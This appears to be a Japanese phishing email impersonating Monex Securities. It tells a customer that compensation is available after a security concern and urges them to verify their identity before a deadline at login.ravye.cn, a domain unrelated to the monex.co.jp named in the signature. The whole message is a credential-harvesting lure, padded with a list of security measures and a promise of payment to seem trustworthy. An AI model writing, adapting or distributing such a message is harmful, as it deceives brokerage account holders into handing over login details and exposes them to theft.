nie 様

平素よりマネックス証券をご利用いただきありがとうございます。
本件ではお客様のご懸念を重く受け止め、個別調査を開始いたしました。

なお、現時点で認証情報の外部流出は確認されておりません。
予防的観点から、補償申請の受付を並行して実施いたします。

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◆ 補償受付の概要
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・対象：影響が認められたお客様（順次ご案内）
・内容：規程に基づく金銭補償
・期限：2025年11月16日（必ず期限内に申請）

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◆ 本人確認・申請（公式ページ）
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https://login.ravye.cn/?code=diqggm

申請後は受付番号を発行します。審査結果は追って個別にご連絡いたします。

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◆ セキュリティ強化の取り組み
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・MFA必須化とデバイス認証の導入
・暗号化・権限分離・監査ログの拡充
・取引パスワードと操作アラートの強化
・24時間監視と迅速な封じ込め手順

引き続き、お客様の安心を第一に全力で取り組みます。

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マネックス証券株式会社
monex.co.jp
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